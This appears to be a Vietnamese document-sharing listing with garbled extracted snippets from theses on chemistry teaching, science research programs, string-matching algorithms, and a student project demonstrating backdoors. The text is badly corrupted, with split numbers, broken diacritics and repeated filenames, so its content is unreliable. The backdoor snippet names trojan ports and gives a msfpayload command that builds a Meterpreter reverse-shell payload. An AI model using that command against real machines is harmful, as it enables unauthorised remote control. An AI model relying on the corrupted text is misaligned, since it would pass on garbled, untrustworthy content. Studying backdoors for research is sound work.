1 5 một số năng lực của hs được phát triển thông qua dh phân hoá
Vận dụng một số phương pháp dạy học tích cực theo quan điểm dạy học phân hóa trong dạy học phần hoá học phi kim ở trường Trung học phổ thông
Ngày tải lên :
24/07/2015, 08:57
... học HS Bảng 1. 5 Một số lực HS phát triển thông qua DH phân hoá STT Năng lực Năng lực giải vấn đề Năng lực hợp tác Năng lực sáng tạo Năng lực thực hành hoá học Năng lực sử dụng ngôn ngữ hoá học Năng ... thoảng Hiếm Chưa 11 7 210 30 80 202 73 36 15 6 85 75 12 58 14 8 81 59 53 202 90 12 57 18 2 65 93 15 6 20 54 74 Hình 1. 9 Biểu đồ mức độ sử dụng BTPH DH Qua bảng 1. 8 hình 1. 9 cho thấy đa số GV hay sử dụng ... động kiểu nghe+ vận động Số HS 224 422 14 3 % HS 17 ,23 32,46 11 ,00 14 9 23 12 4 11 ,46 1, 77 9 ,54 % HS 60,69 22,77 41 HS học theo 03 PCHT 2 15 16 ,64 16 ,54 Hình 1. 10 Biểu đồ PCHT HS trường TNSP Dựa vào...
- 86
- 1.1K
- 6
mục tiêu và nội dung các chương trình nghiên cứu khoa học và công nghệ năm 2014
Ngày tải lên :
29/07/2015, 03:26
... giao thông phù hợp với điều kiện thực tế phát triển TP Hồ Chí Minh giai đoạn 2 013 – 2 0 15 sau 2 0 15 ; Phối hợp với Quy hoạch xây dựng vùng TP Hồ Chí Minh đến năm 20 25 tầm nhìn đến năm 2 050 (đã ... tác đào tạo (2) Chiến lược phát triển vi mạch thành phố giai đoạn 2 012 – 2 0 15 tầm nhìn đến 2020: Nghiên cứu xu phát triển công nghệ vi mạch nước giới giai đoạn 2 0 15 – 2020; Xác định xây dựng ... (Agropark) chuyên canh, an toàn phát triển bền vững; Xây dựng chuổi sản xuất rau sạch, thịt, trứng an toàn; Tăng suất heo, bò sữa lên 10 - 15 %, giảm giá thành sản phẩm 5 - 15 %, giảm bệnh tật giảm thiểu...
- 36
- 600
- 0
MỤC TIÊU VÀ NỘI DUNG CÁC CHƯƠNG TRÌNH NGHIÊN CỨU KHOA HỌC VÀ CÔNG NGHỆ NĂM 2015
Ngày tải lên :
29/02/2016, 06:36
... nghệ theo Nghị số 08/NQ-TW ngày 01 tháng 12 năm 2 011 Bộ Chính trị tăng cường lãnh đạo Đảng, tạo bước phát triển mạnh mẽ TDTT đến năm 2020; Nghị số 16 /NQ-CP ngày 14 tháng 01 năm 2 013 Chính phủ việc ... RFID ứng dụng (2) Chiến lược phát triển vi mạch thành phố giai đoạn 2 012 – 2 0 15 tầm nhìn đến 2020 Nghiên cứu xu phát triển công nghệ vi mạch nước giới giai đoạn 2 0 15 – 2020; Xác định xây dựng ... xã hội, văn hóa, phát triển đô thị, xây dựng hệ thống trị, từ khẳng định giá trị tất lĩnh vực đời sống xã hội thành phố qua chặng đường phát triển, làm sở, tiền đề cho phát triển giai đoạn tiếp...
- 20
- 365
- 0
báo cáo nghiên cứu khoa học ''''một số nhận xét về nội dung chương trình phân môn tập đọc lớp 2, lớp 3 và phương pháp dạy học phù hợ''''
Ngày tải lên :
29/06/2014, 15:51
... XXXVI, số 2b-2007 đợc xếp nh sau: Tuần 1: Một truyện kể (2 tiết) Một văn thông thờng (1 tiết) Một văn thơ (1 tiết) Tuần 2: Một truyện kể (2 tiết) Một văn miêu tả (1 tiết) Một truyện vui (1 tiết) ... khoảng 3 ,5 tiết Tập đọc (mỗi tuần có tiết chung với kể chuyện) Phần Tập đọc đơn vị học đợc xếp nh sau: Tuần 1: Một truyện kể 1, 5 tiết Một văn thơ = tiết Một văn thông thơng = tiết Tuần 2: Một truyện ... Tập đọc Đây sở để phát triển lực sử dụng tiếng Việt nói chung phát triển kỹ đọc cho học sinh tiểu học nói riêng Trên sở thực tiễn khảo sát, phân tích chơng trình yêu cầu dạy học phân môn Tập đọc,...
- 12
- 1.4K
- 2
Cơ sở khoa học của việt xây dựng và nội dung chương trình, giáo trình giảng dạy của trường cán bộ thanh tra đáp ứng yêu cầu bồi dưỡng nghiệp vụ cho cán bộ, thanh tra viên trong thời gian tới
Ngày tải lên :
29/08/2014, 12:19
... 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf ... 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf ... 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf 4 354 -L.pdf 4 354 -C.pdf ...
- 272
- 436
- 0
Tuyển chọn, xây dựng và sử dụng hệ thống bài tập phân hóa phần Hóa học phi kim 11 – chương trình nâng cao THPT
Ngày tải lên :
12/04/2016, 12:54
... (11 ,1% ) (55 ,5% ) (33,3%) (11 ,2%) Dy hc nờu v gii quyt S dng phng (11 ,1% ) tin trc quan S dng bn t Dy hc hp tỏc theo nhúm nh ( 45, 5%) (55 ,5% ) Dy hc theo gúc Dy hc theo hp ng (10 0%) (10 0%) (10 0%) ... = 0, 75 mol (1) M= 28a + 44b = 17 ,2 28a +44 b = 25, 8 (2) 0, 75 38 T (1) v (2) gii c a = 0, 45 mol, b = 0,3 mol t nM = x mol M M+ + ne (mol) x nx 2NO3- +10 e + 12 H+ N2 +2 H2O 4 ,5 5,4 0, 45 mol ... núng l A 10 B 11 C D Bi 13 : Hũa tan hon ton m gam Fe vo dung dch HNO3 loóng thỡ thu c 0,448 lớt khớ NO nht (ktc) Giỏ tr ca m l A 1, 12 gam B 11 ,2 gam C 0 ,56 gam D 5, 6 gam Bi 14 : Cho 1, 6g Cu tỏc...
- 150
- 317
- 0
Một số thuật toán tìm chuỗi và xây dựng chương trình minh họa thuật toán boyer moore
Ngày tải lên :
23/09/2015, 15:38
... mảng dạng bảng 31 2.3 .5 V dụ ụ t ể v i trò ủ m L st tron t uật to n Bo er-Moore T a b a c a a b a d c a I b a c a b a a b b 10 11 12 13 14 15 16 17 18 19 P a b a c a b 13 12 11 10 a a b a c a ... - Bƣớc 11 : Với q = 4; i = 11 , so sánh P [5] S [11 ]: S: b a c b a b a b a b a c a a b P: ababaca Thấy P [5] = S [11 ] q = 5, không dịch chuỗi P mà so sánh ký tự - Bƣớc 12 : Với q = 5; i = 12 , so sánh ... 1. 1.2 Hƣớng giải 1. 2 So khớp chuỗi 1. 2 .1 Khái niệm 1. 2 .1. 1 Chuỗi 1. 2 .1. 2.So khớp chuỗi 1. 2.2 Lịch sử phát triển 1. 2.3 Các...
- 54
- 935
- 1
Khoá luận tốt nghiệp một số thuật toán tìm chuỗi và xây dựng chương trình minh họa thuật toán boyer moore
Ngày tải lên :
24/09/2015, 08:09
... 2 .1) 1. 2 .18 Bảng 2 .1 Giá trị hàm tiền tố n 1. 2 .19 1. 2. 21 1.2.23 1. 2. 25 1. 2.20 1. 2.22 1. 2.24 1. 2.26 q 1. 2.28 1. 2.30 1. 2.34 1. 2.32 1. 2.27 1. 2.29 1. 2. 31 1.2.33 p a b a b a 0 c a 1 1.2. 35 1. 2.37 1. 2.39 ... s 1. 3.32 chuỗi S[0 i] Một chuỗi hậu tố chuỗi s chuỗi S[i m -1] , i số m -1 1.3.33.Ví dụ: 1. 2 .1 s 1. 2.2 V 1. 2.3 I 1. 2.4 E 1. 2 .5 T 1. 2.6 N 1. 2.7 A 1. 2.8 M 1. 2.9 i 1. 2 .10 1. 2 .11 1. 2 .12 1. 2 .13 1. 2 .14 ... cuối X p với T[i] ị 1. 3.244 1. 3.2 45 1. 3.246 1. 3.247 1. 3.248 1. 3.249 ị X X a 1. 3. 250 1. 3.2 51 c b a i m Chuyển i, j sang phải j chuyển đến ị 1. 3. 252 J J 1. 3. 253 .mới 1. 3. 254 .Hình 2.2 Kỹ thuật nhảy...
- 36
- 656
- 4
Tuyển chọn, xây dựng và sử dụng hệ thống bài tậpnhằm phát triển năng lực tự học cho học sinh phổ thông dân tộc nội trú tỉnh Điện Biên (phần Hóa học Phi kim Hóa học 11
Ngày tải lên :
14/04/2016, 14:42
... ứng Phát triển lực Phát triển lực chung lực đặc thù môn Hóa học Cụ thể: Năng lực giải vấn đề thông qua môn hóa học Năng lực sử dụng ngôn ngữ Năng lực vận dụng kiến thức hóa vào sống Năng lực ... thực tế Phát triển lực Phát triển lực chung lực đặc thù môn Hóa học Cụ thể: Năng lực giải vấn đề thông qua môn hóa học Năng lực sử dụng ngôn ngữ Năng lực vận dụng kiến thức hóa vào sống Năng lực ... hợp Phát triển lực Phát triển lực chung lực đặc thù môn Hóa học Cụ thể: Năng lực giải vấn đề thông qua môn hóa học Năng lực sử dụng ngôn ngữ Năng lực vận dụng kiến thức hóa vào sống Năng lực...
- 118
- 1.1K
- 0
Tìm hiểu và xây dựng chương trình minh họa hoạt động của Backdoor Đề tài nghiên cứu khoa học
Ngày tải lên :
26/06/2016, 09:40
... Port 313 37 313 38 - Deep Throat – Sử dụng UDP protocol – Sử dụng Port 214 0 3 15 0 - NetBus – Sử dụng TCP Protocol – Sử dụng Port 12 3 45 12 346 - Whack-a-mole – Sử dụng TCP – Qua Port 12 3 61 12362 - ... Bước 1: Sử dùng lệnh ifconfig kiểm tra IP máy Backtrack Ở IP máy acktrack 19 2 .16 8 .1. 2 Hình 3 .1: Kiểm tra IP - Bước 2: Tạo Backdoor msfpayload windows/meterpreter/reverse_tcp LHOST =19 2 .16 8 .1. 1 LPORT=4444 ... thông qua giao diện web + Global Enviroment: Được thực thi thông qua câu lệnh setg unsetg, options gán mang tính toàn cục, đưa vào tất module exploits + Temporary Enviroment: thực thi thông qua...
- 14
- 899
- 2